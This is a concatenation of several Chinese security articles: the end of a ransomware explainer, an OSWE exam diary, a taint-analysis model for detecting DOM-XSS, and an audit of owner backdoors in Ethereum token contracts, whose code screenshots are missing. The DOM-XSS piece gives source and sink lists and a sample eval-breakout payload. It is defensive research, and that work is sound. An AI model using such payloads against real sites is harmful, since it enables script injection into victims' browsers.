**5\. 延伸阅读：现在与未来**
**5.1 正在泛滥的RaaS**
相信不少人都接收过仿冒银行的诈骗短信：通过诱骗点击假银行网站在手机上完成银行卡和密码的提交，而黑客则在假银行的页面后台静静的看你被钓 ……
如果多次受到过类似短信，并点进去仔细观察过钓鱼页面的话，这时候若是足够幸运，就能发现这些页面实际上在布局甚至是在代码框架上都存在极大的相似性 ——
在这个产业里，有不少团伙专门提供一条龙服务，只要购买他的服务，提供你想要诈骗的目标群体、仿冒的银行，他们就会将搭建假银行网站、网站上线甚至是域名注册和发送诈骗短信这些任务都帮你完成。
所以，你看到的不管是中国银行还是建设银行，有一定概率都是出自同一个团伙的手笔，而他们为了快速搭建网站，也有一套自动化程序完成快速自动部署，那么这些框架自然就是看起来完全一致的了。
而目前勒索软件也正在经历这样的过程。
有团伙搭建好一个RaaS（Ransomware-as-a-Service）平台，只要上去提交一些材料，就会得到一套生成好的材料拿去钓鱼勒索，而甚至一些信誉良好的RaaS服务商还会帮你收款、洗钱等等。
Ransomware已经开始出现云化的趋势，其规模就可以想象了。
**5.2 新勒索对象会不断涌现**
上篇提过，被勒索盯上的不只是硬盘上的文件，还能是MongoDB、ES、智能电视、Android和iOS，甚至之前还出现过针对Oracle、Redis的勒索。更令人感到惊悚的就是，之前还有过工控设备被勒索的案例。
原则上来讲一切能被入侵的，都可以被用来勒索。所以勒索软件绝对是一个千亿容量的市场 —— 而且我说的还是美金。
其实，我们很多人在勒索对象这方面都应该很早就有过经历和教训。
回想早些年，可能很多人都经历身边有人QQ被盗，需要支付一定数量的QB后才能赎回，否则就删除好友，这也是一种勒索。
所以，勒索软件的对象可能也不仅仅会局限在那些你能摸得到的智能设备上，你正在享用的互联网服务，也会成为勒索对象 ——
想象一下，当你回家打开电脑，点击Evernote，看着同步按钮在疯狂的转动着，转身去泡一杯热茶，回来发现 ……
笔记被清空了，只留下一条笔记：你的内容已被我清除，请联系 [email protected]，一杯滚烫的茶水就砸到了脚上 ……
此时，好消息就是，我们的保险福利可以帮你解决脚上的问题。
但是，坏消息就是，如果你没有其他电脑同步过笔记到本地的话，就只能支付赎金了。
**5.3 新姿势会不断出现**
未来一定会出现内网横向传播能力的勒索软件。
当前场景的勒索软件多是针对单一个体为主，无论通过何种方式传播到个人，勒索软件就只会在当前电脑上加密、等待赎金。
而未来，我们坚信一定会有具备内网传播能力的勒索软件出现 ——
软件会像蠕虫一样，一旦感染一个人并完成了加密工作，就会立刻向同网段内其他机器展开扫描，并试图入侵、加密、勒索，如此循环。
现在这种势头已经展现，一些勒索软件在勒索信息中会提示被害者：如果你穷，没关系，把我传播给三个高富帅，只要他们付款了，我一样可以帮你解密。
（注：至本文截稿时，尚无大规模蠕虫式勒索软件出现，而就在5月12日，出现了利用SMB漏洞传播的蠕虫，并在高校肆虐 ……）
还可能会出现如同APT攻击一样的定向深度勒索。
（如果不知道APT，可以先略过该词，后面会发此类科普文。）
与内网横向相似，定向勒索不过是更精深的一种思路。
这种方式不一定会在短期内出现，但如果在勒索软件的治理和防护水平达到一定高度、一般勒索软件难以再得手的情况下，这种手段可能就会出现。
定向深度勒索就如同传统的持续型的定向渗透一样。
勒索者寻找的不是一个个体，而是一个群体，在群体中找到共性并找到其中的突破点。利用突破点突破进去后，利用共性完整更大规模的传播以进行打包式的勒索。
比如，勒索者看中了一家高富帅的公司，成功的拿下管理员，利用管理员的终端管理能力直接给所有电脑推送勒索软件，这种姿势下，分分钟全面沦陷 ——
然后再谈个打包价格来解密，相信对公司层面来说，是难以拒绝的 —— 没错，这种条件下，勒索的支付对象有所转变，支付会变得更容易，而且还会有更大的收益。
而这种情况还没出现的原因有很多。
除了上面提到的，当前环境下勒索软件治理困难，所以去勒索个体还相对容易，没必要去转向这样精耕细作的勒索方式。
还有一个很重要的原因就是，勒索者需要较强的黑客技能 ——
反过来说，其实现在很多勒索软件的制造者并不具备很强的黑客技能，让他们制造一个有加密能力的软件并不难，但让他们定向黑进一个公司可能并不是所有人都能做到。
**传送门**
* * *
[**【安全科普】勒索软件是什么？**](http://bobao.360.cn/news/detail/4163.html) | 社区文章 |
# 一键 Shell，我的 OSWE 之旅
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
终于收到了 Offsensive Security 的官方邮件通知最终结果，我的 OSWE 之旅也算是尘埃落定。打算以本文回顾一下自己的 OSWE
的准备过程，包括 AWAE 课程的学习和准备以及我在考试过程中踩得一些坑，希望对 OSWE 有兴趣的人能有所帮助。
## 初识 AWAE
Offsensive Security，作为安全圈的人应该都熟悉这家公司，Kali 就是他们家的。他们家最广为人知的课程也是 Pentration
Testing with Kali Linux(PWK)，其对应的考试为 Offsensive Security Certified
Professional(OSCP)。我最初结识 Offsec 也是通过 OSCP，认识了一些考 OSCP
的小伙伴，结果一直因为没(bao)有(ming)准(fei)备(tai)好(gui)，迟迟没有报名。结果大佬们一个个都通过了，报名费也从799美元涨到了999美元。
所以，当 AWAE 去年年末打折的时候，我毫不犹豫的就报名了。因为相对于 OSCP 来说，我也更喜欢
OSWE，因为自己毕竟是开发出身，对于代码审计也很感兴趣。疫情期间，的确有更多的时间可以看课程。有一个建议就是，当你的 lab
开始之后，可以第一时间就是预约考试，因为 OSWE 相对来说考试可以选的场次更少，越早越好，一共有3次可以重新预约考试的机会。Lab
结束之后，我也一直拖了好久，主要当时认识了几个小伙伴考试都失利了，所以我也没啥信心。最后还是硬着头皮预约了考试。
## AWAE 课程
AWAE(Advanced Web Attacks and Exploitation) 是一门关于应用安全的审计课程。AWAE 经常被拿来和 OSCP 的
PWK 来进行比较，官方也有暗示 OSWE 是 OSCP 的进阶版本，OSCP 注重于漏洞的利用，而 OSWE
则更进一步，侧重于市从白盒角度去审计代码，发现安全漏洞。不过 OSCP 并不是 OSWE 的先决条件，有人认为必须先考 OSCP 才能考
OSWE，这是不正确的。因为我就没有报考 OSCP 直接考的 OSWE。不过，另外一方面，如果你通过了 OSCP，对于 OSWE
绝对是有帮助的。我也在考试过程中体会到正因为我缺乏 OSCP 的经验，导致我犯了一些低级错误。
关于 AWAE 的课程内容，官方有给出[大纲](https://www.offensive-security.com/documentation/awae-syllabus.pdf)。而且今年有课程的内容有比较大的更新，当时如果你的 lab 还有效的话，可以免费更新，不过我当时的 lab
已经失效了，就没有花钱更新了。新加入的内容包括了新的漏洞类型，包括 XXE 漏洞、弱随机口令生成漏洞、DOM 型 XSS、SSTI 以及 websocket
命令注入等。
AWAE 的课程内容其实在网上很多都已经有了相关的介绍。AWAE 的课程其实主要就是一个 PDF 以及 视频。我建议可以把 PDF
看完再去看视频，因为视频没有字幕，而字幕其实就是 PDF 文档。AWAE
的课程主要涵盖的是比较常见的漏洞类型，不过课程里面介绍的一些技巧还是非常重要的，因为很多技巧可能在考试中都会涉及。所以对于课程的内容一定要熟悉。建议 PDF
和视频可以多看几遍，exercise 以及 extra mile
都可以认真地做一下，如果实在卡住了，可以去论坛看看，如果你一页页翻得话，肯定可以找到对你有所启发的评论。我当时是买了一个月的
lab，加上当时是疫情期间，所以可以学习的时间也比较多一点，而且当时的 lab
还没有更新，所以机器少一点，一个月差不多刚好可以学完。不过现在的课程内容丰富了不少，一个月时间可能就比较紧张了。
得益于我国的网络环境，lab 可能无法直连，当初我也被折磨了很久。后来，我琢磨出最佳的方案就是，VPS 直接拨
openvpn，然后直接在服务器上操作。如果需要访问 web 应用的话，可以通过服务器的 socks 端口进行转发。实在是需要界面操作的话，我更推荐使用
x2goclent 而不是
VNC，相对来说使用体验优秀很多，不过还是会比较卡的，要有心理准备。学习过程中也应该做好笔记，包括踩到过什么坑，以及如何解决的，建议都做好记录，后面可能会有用。
对于考试准备首当其冲推荐的就是 Burp 的 [Web Security Academy](https://portswigger.net/web-security/all-materials)。这绝对是应用安全中的一门最有价值的课程之一，并且还是免费的，简直就是业界良心。后来发现某个国内安全厂商还白嫖过来写公众号文章。这门课程介绍了多种漏洞类型，对于每种漏洞类型都有教材讲解，并且有相应的
Lab 可以进行练习。另外一个我准备的就是 [Pentester
lab](https://pentesterlab.com/)。这个平台学习的好处就是很多练习。不需要 HTB
那样复杂的靶机环境，所以不会受网络的影响很大。而且里面是有一个 code review 系列，我觉得对于 OSWE
的准备有一定的意义。不过这个平台是收费的，但免费也可以使用，只不过很多练习都是收费的。我以前是玩过 HTB 的，不过我打靶机不是特别厉害，HTB
上的确也有那种结合代码审计的靶机，但我觉得难度其实都挺高的。
## OSWE 考试
考试应该是重头戏，应该是大家最为关注的部分，毕竟证书还是比较有意义的。其实 OSWE 的考试过程可能和 OSCP 比较类似，OSWE 的考试形式也就是给你
2 台靶机和 2 台对应的调试机器。需要完成代码审计，并且完成 auth bypass 以及 get
shell，才能拿到所有的分。另外重要的一点就是，你需要将整个利用过程通过脚本实现，即通过脚本既可以完成 auth bypass 以及 get
shell。所以，OSWE 考试需要一定的开发能力，并且要很好地调试自己的代码，因此需要一定的开发能力。
Offsensive Security 大多数考试都是需要监考的，包括 OSCP 以及
OSWE。关于监考的介绍可以参考这份[文档](https://support.offensive-security.com/proctoring-faq/)。官网也有考试的相关[说明文档](https://support.offensive-security.com/oswe-exam-guide/)。如果考过 OSCP 的，对于监考肯定就有经验了。监考程序就是一个 web 应用，并且需要安装一个 Chrome
插件，需要分享你的屏幕和摄像头。这里注意的一点是如果你有多个屏幕，那么你要选择对应的数目。并且考试的可能需要经常刷新，那么你可能需要重新选择的你的屏幕。我监考一开始折腾了好久，当时需要看我房间的环境，包括窗户和门口，还要看我的桌子并且还要看我的桌下，因为我的电脑是连着网线的，当时搬来搬去还挺麻烦的。接着就是验证你的
ID，我是把护照给监考看的，后来又问我有没有有报名地址的证件，我是没有的，就问我要了其它证件，我就展示了港澳通行证。展示完证件之后还要对着摄像头给监考看。不知道是不是因为外国人识别中国人比较困难，他看我反正看了很久。这一切程序结束了之后，就是考试正式开始了，会收到考试的
VPN 文件。然后你拨上
VPN，然后把连接信息给监考看就可以了。我监考折腾了好久，本来是应该五点钟考试准时开始的，硬是搞到了五点半多，后来和官方发邮件了，也给我延了半小时。考试过程中，你遇到的任何问题，包括网络或者其它的问题，监考都不会回答你。在考试过程中，随时都可以休息，毕竟48小时是个体力活，不过每次离开和回来最好都说一声。
OSWE 的考试既需要对代码的审计，寻找漏洞，又需要 exploit
的能力，对漏洞进行利用，缺一不可。考试中，很重要的一点就是千万不要钻牛角尖，不存在这个漏洞肯定存在这个地方，或者漏洞就时应该这样利用的。如果这里不行，可以换个地方看看，如果这个
payload
不成功，可以尝试换一个。切不可死钻牛角尖，认为它肯定是这样的。或者可以直接去休息下，或者看看教材有没有相似类型的，翻翻笔记，或许能有所启发。考试之前，官方发的邮件记得仔细阅读，不要一上去就急着做题目，48小时其实对于题目的完成应该是足够的。我建议考试的时候是边尝试
debug 机器，边验证靶机。我当初一开始就是完全在 debug 机器尝试，后来希望在靶机上可以一键
shell，还是太天真了。后来在靶机上遇到了各种各样的问题，也有可能是网络原因导致的不可利用，导致我当时非常的慌。所以，建议还是先拿到 proof
再说，exploit 的脚本可以放在后面慢慢试。不要做没有意义的事情。考试的时候，就是因为有个地方用 Java 些比较简单，我就想用 Java
来完成这台机器的 exploit 的脚本。殊不知 Java 在编写的时候没有 Python 的 requests
库那么方便，而且很多东西还要再去查，而且还需要变异的时间，后来我还是放弃了，感觉当时浪费了我不少时间。另外一个建议就是在平常的准备过程中，也到锻炼自己写
exploit 脚本的能力，这样也避免在考试过程中花费太多的时间写脚本。
我的考试过程是从第一天的早上4点45分持续到第3天的5点15分，因为监考的原因帮我延长了半个小时，直到最后一刻我还在尝试我的 exploit
脚本。老实说，如果再给我一次机会，我可能并不会选择报考。考试过程真的太累了，48个半小时，我几乎只睡了4个多小时，当然还有其它的休息时间，但是都没有睡着。尤其是第一天，到了凌晨，其实我也是很困的，但是就是睡不着。当时那种焦灼的心态，还是比较难受的。我记得当时
exploit 在我的 debug 机器好好的，到了靶机突然又不可以了，我真的是非常崩溃。而且考完试，我的颈椎就变得不好了。
## 报告
考试结束之后就是写报告了，报告的要求在官方的文档里面都有说明。所以在考试的过程中，记得做好截图和笔记。官方是不允许对考试过程做录屏的，很多小伙伴可能担心不录屏可能会有所遗漏，其实还好，只要多截些图应该都没有问题的。个别的遗漏也不会影响整个报告。考试完之后我就睡了一觉，然后去吃了顿火锅，就回来写报告了。报告几乎是一气呵成，写英文报告对于我来说还是比较简单的，加上之前有做过笔记，所以主要工作就是理清思路，写清楚。整个写报告的过程大概花了三四个小时。写完报告我也没怎么修改，就提交了。提交报告记得一定要按照官方的要求命名文件名称，加密上传，如果因为个人原因导致报告的问题，可能会不通过，而且官方也并不会提醒你。当你把报告的上传链接发送给官方之后，会收到一封回执邮件，仅仅是确认收到。
官方对于报告是有提供一个模板的，包括 [.doc](https://www.offensive-security.com/awae/OSWE-Exam-Report.doc) 格式以及 [.odt](https://www.offensive-security.com/awae/OSWE-Exam-Report.odt) 格式。但是 word
有一个问题就是越到后面保存就会变得很卡，尤其一般这个报告写得应该还是比较长的。另外一个问题就是格式问题，后面我在调整目录的时候就导致很多地方的格式又乱掉了，很多地方又得重新调整。所以后面我创建了一个
Tex 的模板，[oswe-report-template](https://github.com/madneal/oswe-report-template).Tex 相对于 word 来说，格式是一直稳定的，所以会省略很多调整格式的烦劳，所以一般在科研论文的写作中，很多人都比较喜爱使用
Tex。我基本上是按照官方的模板百分百还原了，感兴趣的可以尝试看看。
报告提交之后，10个工作日以内会给出结果的，我差不多是6天的时间。收到结果的邮件是凌晨，当时我凌晨醒了一下结果就看到了。虽然没有想象中那么兴奋，但是知道结果之后我还是睡不着了。毕竟，之前也是一直焦灼地等待结果。邮件主要就是确认一下证件上的姓名，如果姓名没有问题的话就是反馈一下收件地址，因为新冠的原因，证件寄过来可能非常久。
## 总结
AWAE 的准备过程以及 OSWE
的过程都是一个比较复杂和纠结的过程。这个过程可能不是非常美好的，不过我也在准备的过程中结识了很多优秀的小伙伴。这整个过程其实就是一个爬山的过程，你必须一直坚持着往上爬，否则可能就是半途而废没有结果了。但当真正一切结束，经历完这个考试，你或许也能体会到
Try Harder 的含义吧！
## Reference
* <https://pentesterlab.com/>
* <https://support.offensive-security.com/oswe-exam-guide/>
* <https://support.offensive-security.com/proctoring-faq/>
* <https://github.com/madneal/oswe-report-template>
* <https://portswigger.net/web-security/all-materials> | 社区文章 |
# DOM-XSS 自动检测与验证模型
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 介绍
DOM-XSS 是网络中最常见的漏洞，再配合其它的攻击手段往往能轻易敲开服务器的大门。在各大漏洞平台中，DOM-XSS
漏洞也是数量最多的。本文介绍一种基于污染追踪技术的 DOM-XSS
自动检测与验证模型，并对模型中的污染源点、污染终点和传播过程记录方法做详细介绍。最后介绍基于 AST 技术的 payload 生成方法，该方法可以自动验证
DOM-XSS 是否为误报，提高 DOM-XSS 的自动检测效果。
## 2 原理介绍
污点分析技术（taint analysis, 又被称作信息流跟踪技术）是自动检测 DOM-XSS 的理论基础，它是信息流分析技术的一种实践方法,
该技术通过标记系统中的敏感数据, 进而跟踪‘标记数据’在程序中的传播过程, 以检测系统安全问题。
## 3 敏感数据
在污点分析技术中，最重要的两个概念分别是敏感数据和传播记录。首先引入敏感数据的定义：由 source 开始，经过传播后进入 sink
并引发“数据与指令的错用”的数据被定义为敏感数据。其中 source 为污染源点，也就是数据的生产者。sink 为污染终点，也就是数据的消费者。
攻击者可以控制的输入被称作污染源点，常规的污染源点如下：
**（1）** window.location.hash
**（2）** window.location.href
**（3）** window.location.pathname
**（4）** window.location.search
**（5）** document.documentURI
**（6）** document.baseURI
**（7）** document.URL
**（8）** document.referrer
漏洞的本质是数据与指令的错用，所以能消费敏感数据的方法（函数或属性）都是污染终点，常规的污染终点如下：
**（1）** eval setInterval setTimeout
**（2）** window.location
**（3）** Element.innerHTML
**（4）** Element.outerHTML
**（5）** Element.setAttribute
**（6）** HTMLScriptElement.src
**（7）** HTMLEmbedElement.src
**（8）** HTMLIFrameElement.src
**（9）** HTMLAnchorElement.href
**（10）** HTMLFormElement.action
**（11）** HTMLInputElement.formAction
**（12）** HTMLButtonElement.formAction
**（13）** HTMLObjectElement.data
**（14）** HTMLScriptElement.text
**（15）** HTMLScriptElement.textContent
**（16）** HTMLScriptElement.innerText
## 4 传播记录
接下来引入传播记录的定义：被 sink 消费的数据的来源以及变化过程称为传播记录。
传播记录描述了数据从 source 到 sink 的变化过程，传播记录的完整性直接影响 DOM-XSS 的检测结果。衡量传播记录的指标主要有：
**（1）** 传播记录是否全面、完整地描述了数据的变化过程；
**（2）** 传播记录是否可以做到字符级别的描述。
众所周知，触发 DOM-XSS 漏洞的字符串往往是来自于不同 source
的字符的组合，如果不能完整记录数据变化的过程或做不到字符级别的描述，那将会产生大量的漏报。通过分析 ES 和 HTML 规范可以得知：以下的 API
可以修改字符串。做好以下这些 API 的记录就可以最大程度保证传播记录的完整性。
1. String.prototype.anchor 用于创建 a 标签，样例代码如下：
var myString = "Table of Contents";
document.body.innerHTML = myString.anchor("contents_anchor");
//输出.............
<a name="contents_anchor">Table of Contents</a>
2. String.prototype.big 创建带有 big 标签的字符串，样例代码如下：
var worldString = 'Hello, world';
console.log(worldString.big()); // <big>Hello, world</big>
3. String.prototype.blink 创建带有 blink 标签的字符串，样例代码如下：
var worldString = 'Hello, world';
console.log(worldString.blink()); // <blink>Hello, world</blink>
4. String.prototype.charAt
5. String.prototype.charCodeAt，charCodeAt() 方法返回指定位置的字符的 Unicode 编码。返回值是 0 – 65535 之间的整数。
6. String.prototype.codePointAt()
7. String.prototype.concat，concat() 方法拼接两个或多个字符串并返回一个新的字符串
8. String.prototype.fixed，样例代码如下：
var worldString = 'Hello, world';
console.log(worldString.fixed()); // "<tt>Hello, world</tt>"
9. String.prototype.fontcolor，样例代码如下：
var worldString = 'Hello, world';
console.log(worldString.fontcolor('red') + ' is red in this line');
// '<font color="red">Hello, world</font> is red in this line'
10. String.prototype.fontsize
11. String.prototype.link，样例代码如下：
var hotText = 'MDN';
var url = 'https://developer.mozilla.org/';
console.log('Click to return to ' + hotText.link(url));
// Click to return to <a href="https://developer.mozilla.org/">MDN</a>
12. String.prototype.italics，样例代码如下：
var worldString = 'Hello, world'; console.log(worldString.blink());
//"<i>str</i>"
13. String.prototype.match
14. String.prototype.search
15. String.prototype.matchAll
16. String.prototype.normalize
17. String.prototype.padEnd，样例代码如下：
const str1 = 'Breaded Mushrooms';
console.log(str1.padEnd(25, '.'));
// expected output: "Breaded Mushrooms........"
18. String.prototype.padStart
19. String.prototype.repeat
20. String.prototype.replace
21. String.prototype.slice
22. String.prototype.small，样例代码如下：
var worldString = 'Hello, world';
console.log(worldString.small()); // <small>Hello, world</small>
23. String.prototype.split
24. String.prototype.strike
25. String.prototype.sub，样例代码如下：
var worldString = 'Hello, world';
console.log(worldString.sub()); // <sub>Hello, world</sub>
26. String.prototype.substr
27. String.prototype.substring
28. String.prototype.sup
29. String.prototype.toLocaleLowerCase
30. String.prototype.toLocaleUpperCase
31. String.prototype.toLowerCase
32. String.prototype.toUpperCase
33. String.prototype.toString
34. String.prototype.trim The trim() method removes whitespace from both ends of a string and returns a new string, without modifying the original string.
35. String.prototype.trimEnd
36. String.prototype.trimStart
37. String.prototype.valueOf
38. RegExp.prototype.exec
39. document.write
40. document.writeln
41. decodeURI encodeURI decodeURIComponent encodeURIComponent unescape escape
42. postMessage
43. ‘+’ 加法
总结，检测 DOM-XSS就是记录数据从生产者到消费者的传播过程，这正污点分析技术的应有之义。
## 5 构造 payload
检测出从 source 到 sink 的敏感数据后还需要构造正确的payload，才能触发 DOM-XSS。根据敏感数据在 sink 中的位置分布，把形成
DOM-XSS 漏洞的原因分为以下三种：
**（1）** tag 污染是指敏感数据出现在 HTML Tag 标签中，敏感数据可能是 tag 名字或 tag 属性等，例如：
document . write ('<script src ="// example . org /' + 敏感数据 + '"></ script >')
**（2）** 注释污染是指敏感数据出现在注释部分，例如：
document . write (' <!--' + 敏感数据 + '-->')
**（3）** 文本污染是指敏感数据出现在一对 HTML tag 标签中间，例如：
document . write ('<div >' + 敏感数据 + ' </div >')
众所周知，生成 payload
时最重要的工作是闭合上下文中的原有标签，并创建一个与上下文无关的`<script>XXX</script>`。我们使用语法树分析上下文的语法关系并识别前后的语法，以完成原有标签的闭合工作。使用语法树是因为分析过程是有限状态自动机，可以实现自动验证
DOM-XSS。样例代码如下：
var code = 'function test (){ ' + 'var x =' + location.referrer + '; ' + 'doSomething (x); '+ '}';
eval ( code )
上述代码的语法树如下：
FunctionDeclaration
Identifier : test
FunctionConstructor
Identifier : test
Block
Declaration
Identifier : x
StringLiteral : "http://example.org"
ExpressionStmt
SpecialOperation : FUNCTION_CALL
Reference
Identifier : doSomething
通过对上述代码的分析，我们可以构建出如下的 payload。当location.referrer的值等于 payload时，就可以将 eval()
的参数拆解成一个独立的字符串，以触发 DOM-XSS 漏洞。
http://example.org/#;};dom-xss;//
## 6 开源工具
本文的思路借鉴了开源工具 dom-based-xss-finder，地址：[https://github.com/AsaiKen/dom-based-xss-finder，总结说明如下：](https://github.com/AsaiKen/dom-based-xss-finder)
**（1）** 通过对 API 进行 hook，实现了 source、sink、taint 三类传播功能的 wrapper；
**（2）** 利用 AST 对网页中 JS 源码转成语义等价的、用 wrapper 实现的 JS 源码；
**（3）** wrapper 方法保证 JS 功能正确的同时，记录了 taint 的传播过程，最后上报。
这个工具的思路很好，功能也很全面，但效率有些低。
## 致谢
w8ay 和独钓寒江雪两位师傅在我写作过程中给予了极大的帮助，在此特别感谢！
**w8ay** 从事安全自动化工具相关工作，W13scan 等著名工具作者，Hacking8
安全知识库（[https://www.hacking8.com）作者。](https://www.hacking8.com)
**独钓寒江雪**
高级前端技术工程师，思否著名博主：[https://segmentfault.com/u/king_hcj。](https://segmentfault.com/u/king_hcj)
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
**作者：Al1ex @ 知道创宇404区块链安全研究团队
时间：2020年8月20日**
#### 前言
智能合约的概念可以追溯到1994年，由Nick
Szabo提出，但直到2008年才出现采用智能合约所需的区块链技术，而最终于2013年，作为以太坊智能合约系统的一部分，智能合约首次出现。
智能合约包含了有关交易的所有信息，只有在满足要求后才会执行结果操作，智能合约和传统纸质合约的区别在于智能合约是由计算机生成的，因此，代码本身解释了参与方的相关义务，与此同时，用户可以根据规则开发自己想要的智能合约。
而随着智能合约普及，合约的安全问题也引起了众多合约开发者和安全研究人员关注，比较典型的就是随之建立的DASP Top10(
<https://www.dasp.co/>)。近期，笔者在对一些智能合约进行代码审计时发现有很多合约存在可疑的后门漏洞，具备特殊权限的地址用户(合约的owner)或合约账号具备控制用户资产的权限，可对任意用户的资产进行销毁操作，本文将对此进行简要分析。近期，笔者在对一些智能合约进行代码审计时发现有很多合约存在可疑的后门漏洞，具备特殊权限的地址用户(合约的owner)或合约账号具备控制用户资产的权限，可对任意用户的资产进行销毁操作，本文将对此进行简要分析。
#### 函数漏洞
##### burn()
合约地址：<https://etherscan.io/address/0x705051bbfd9f287869a412cba8bc7d112de48e69#code>
利用条件：合约的owner权限
漏洞代码：
漏洞分析：如上图所示在智能合约中提供了burn函数，该函数主要用于销毁其它地址的token，当要销毁的token数量小于目标账户所拥有的token值时就可以成功销毁目标账户的token，且这里的地址可以指定为任意用户的地址，所以只要我们能够调用该函数即可通过赋予_
from为任意地址账户，_
unitAmout为任意数量(不超过from账户拥有的数量)就可以销毁_from账户的代币，下面我们再来看一下此处对于函数调用者身份限定的修饰器—onlyOwner
由以上代码可知，当函数的调用者为合约的owner地址账户时可以销毁任意地址用户的代币，甚至将其归0
##### burnFrom()
合约地址：<https://etherscan.io/address/0x365542df3c8c9d096c5f0de24a0d8cf33c19c8fd#code>
利用条件：合约的owner，同时mintingFinished为"False"
漏洞代码：
漏洞分析：如上图所示合约中的burnFrom函数用于销毁代币，但是该函数只能被合约的owner调用，而且由于地址参数可控故合约的owner可以操控任意地址用户的代币，销毁任意地址用户任意数量的代币(数量小于等于用户代币总量)，由于该函数被canMint修饰,所以查看一下该修饰器
之后通过"Read Contract"来查看当前"mintingFinished"的值：
可以看到"mintingFinished"为"False"，即满足"canMint"修饰器条件，所以此时的burnFrom函数可被合约的owner调用来操控任意用户的代币。
##### burnTokens
合约地址：<https://etherscan.io/address/0x662abcad0b7f345ab7ffb1b1fbb9df7894f18e66#code>
利用条件：合约的owner权限
漏洞代码：
漏洞分析：如上图所示，burnTokens用于销毁用户的代币，由于销毁的地址参数、销毁的代币数量都可控，所以合约的调用者可以销毁任意用户的代币，但是该函数只能被合约的ICO地址用户调用，下面跟踪一下该账户看看其实现上是否可以
从上面可以看到合约在初始化是对icoContract进行了赋值，下面通过etherscan.io中的readcontract溯源一下：
之后再次进入icoContract中跟踪是否可以成功调用：
从代码中可以看到burnTokens(关于修饰器的跟踪分析与之前类似，这里不再赘述)：
这里的cartaxiToken即为之前的合约地址：
同时发现存在调用的历史记录：<https://etherscan.io/tx/0xf5d125c945e697966703894a400a311dc189d480e625aec1e317abb2434131f4>
##### destory()
合约地址：<https://etherscan.io/address/0x27695e09149adc738a978e9a678f99e4c39e9eb9#code>
利用条件：合约的owner权限
漏洞代码：
如上图所示，在智能合约当中提供了destory函数，用于销毁目标账户的代币，在该函数当中增加了对msg.sender、accountBalance的判断，从整个逻辑上可以看到主要有两种销毁途径：
* 途径一：合约的owner赋予allowManuallyBurnTokens为"true"的条件下，地址账户自我销毁自己的代币
* 途径二：无需allowManuallyBurnTokens为"true"的条件，合约的owner销毁任意地址用户的代币
自然，途径一自我销毁代币合情合理，但是途径二却导致合约的owner可以操控任意地址用户的代币，例如：销毁地址用户的所有代币，导致任意地址用户的代币为他人所操控，这自然不是地址用户所期望的。
##### destroyTokens()
合约地址：<https://etherscan.io/address/0xf7920b0768ecb20a123fac32311d07d193381d6f#code>
利用条件：Controller地址账户
漏洞代码：
如上图所示，destroyTokens函数用于销毁代币，其中地址参数可控，在函数中只校验了销毁地址账户的代币是否大于要销毁的数量以及当前总发行量是否大于要销毁的数量，之后进行更新代币总量和地址账户的代币数量，不过该函数有onlyController修饰器进行修饰，下面看以下该修饰器的具体内容：
之后通过ReadContract可以看到该controller的地址：
之后再Etherscan中可以查看到该地址对应的为一个地址账户，故而该地址账户可以操控原合约中的任意地址用户的代币：
##### destroyIBTCToken
合约地址：<https://etherscan.io/address/0xb7c4a82936194fee52a4e3d4cec3415f74507532#code>
利用条件：合约的owner
漏洞代码：
如上图所示合约中的destroyIBTCToken是用于销毁IBTCToken的，但是由于该函数只能被合约的owner调用，而且要销毁的地址参数to可控，所以合约的owner可以传入任意用户的地址作为参数to，之后销毁任意地址账户的代币，onlyOwner修饰器如下所示：
##### melt()
合约地址：<https://etherscan.io/address/0xabc1280a0187a2020cc675437aed400185f86db6#code>
利用条件：合约的owner
漏洞代码：
漏洞分析：如上图所示合约中的melt函数用于销毁代币的token，且该函数只能被合约的CFO调用，同时由于地址参数dst可控，故合约的CFO可以销毁任意地址用户的代币，onlyCFO修饰器代码如下所示
onlyCFO修饰器中的_cfo由构造函数初始化：
##### Sweep()
合约地址：<https://etherscan.io/address/0x4bd70556ae3f8a6ec6c4080a0c327b24325438f3#code>
利用条件：合约的owner，同时mintingFinished为"False"
漏洞代码：
如上图所示，合约中的sweep函数用于转发代币，该函数只能被合约的owner调用，在L167行优先通过allowance进行授权操作代币的操作，之后调用transferFrom函数，并在transferFrom函数中做了相关的减法操作，由此抵消授权操作代币：
之后紧接着又调用了_transfer函数：
在transfer函数中判断转账地址是否为空、进行转账防溢出检查、进行转账操作，通过以上逻辑可以发现由于sweep中的地址参数 _
from、_to可控，而且该函数只能被合约的owner调用，所以合约的owner可以通过该函数操控任意用户的balance，并且将其转向任意用户的地址或者自己的地址。
##### zero_fee_transaction
合约地址:
<https://etherscan.io/address/0xD65960FAcb8E4a2dFcb2C2212cb2e44a02e2a57E#code>
利用条件：合约的owner
漏洞代码：
漏洞分析：在智能合约中常见的转账方式大致有2种，一种是直接转账，例如常见的Transfer函数，该函数有两个参数，一个指定代币接受的地址，另一个为转账的额度，例如：
另外一种为授权其他用户代为转账，这里的其他用户类似于一个中介媒介的作用，其他用户可以对授权用户授予的资金额度进行操作，常见的也是transfer函数，不过参数个数不同而已，其中有三个参数，一个为代为转账的地址，一个为接受代币的地址，一个为接受代币的数量，例如：
了解了常见的两种转账方式，下面我们回过头来看一下漏洞代码：
可以看到在函数zero_fee_transaction中进行了以下判断：
1、判断的当前代为转账的额度是否大于当前转账的数量
2、判断当前转账的数量是否大于0
3、防溢出检查
可以发现这里未对当前函数调用者是否具备授权转账进行检查(暂时忽略onlycentralAccount修饰器)以及授权额度进行检查，只对转账额度以及是否溢出进行了检查，显然这里是存在问题的，而且该函数没有修饰词进行修饰，故默认为public，这样一来所有人都可以调用该函数，在这里我们可以看到在不管修饰器onlycentralAccount的情况下我们可以传递任意地址账户为from、任意地址账户为to、以及任意数量(需要小于from地址账户的代币数量)，之后即可无限制的从from地址账户转代币到to账户，直到from地址的代币数量归0。
下面我们看一下onlycentralAccount修饰器对于函数调用者的身份限定：
之后搜索central_account发现central_account由函数set_centralAccount进行赋值操作，此处的修饰器为onlyOwner：
之后查看onlyOwner修饰器可以看到此处需要msg.sender为owner，即合约的owner，在构造函数中进行初始化：
#### 文末小结
